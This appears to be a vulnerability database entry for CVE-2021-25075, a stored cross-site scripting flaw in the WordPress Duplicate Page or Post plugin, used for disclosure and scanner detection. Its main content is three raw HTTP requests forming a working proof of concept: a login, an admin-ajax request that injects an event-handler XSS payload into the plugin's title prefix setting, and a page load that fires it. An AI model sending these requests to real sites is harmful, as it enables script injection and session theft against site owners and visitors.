| Title | WordPress Duplicate Page or Post <1.5.1 - Cross-Site Scripting |
|---|---|
| Author | DhiyaneshDK |
| Severity | Low |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. |
| Remediation | Fixed in version 1.5.1. |
| CVSS Score | 3.5 |
| EPSS Score | 0.12492 |
| CVE ID | CVE-2021-25075 |
| CWE ID | CWE-862 |
| Tags | cve2021 cve wpscan wordpress xss wp-plugin authenticated wpdevart vuln |
WordPress Duplicate Page or Post plugin before 1.5.1 contains a stored cross-site scripting vulnerability. The plugin does not have any authorization and has a flawed cross-site request forgery check in the wpdevart_duplicate_post_parametrs_save_in_db AJAX action, allowing unauthenticated users to call it and change the plugin’s settings, or perform such attack via cross-site request forgery.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 Safari/605.1.15
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip
log=2Apij5&pwd=mtnvnF&wp-submit=Log+In&testcookie=1
POST /wp-admin/admin-ajax.php?action=wprss_fetch_items_row_action HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko/20100101 Firefox/141.0
Connection: close
Content-Length: 144
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Accept-Encoding: gzip
action=wpdevart_duplicate_post_parametrs_save_in_db&title_prefix=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28%2fXSS%2f%29+p
GET /wp-admin/admin.php?page=wpda_duplicate_post_menu HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25075.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-25075.pcap
N/AN/A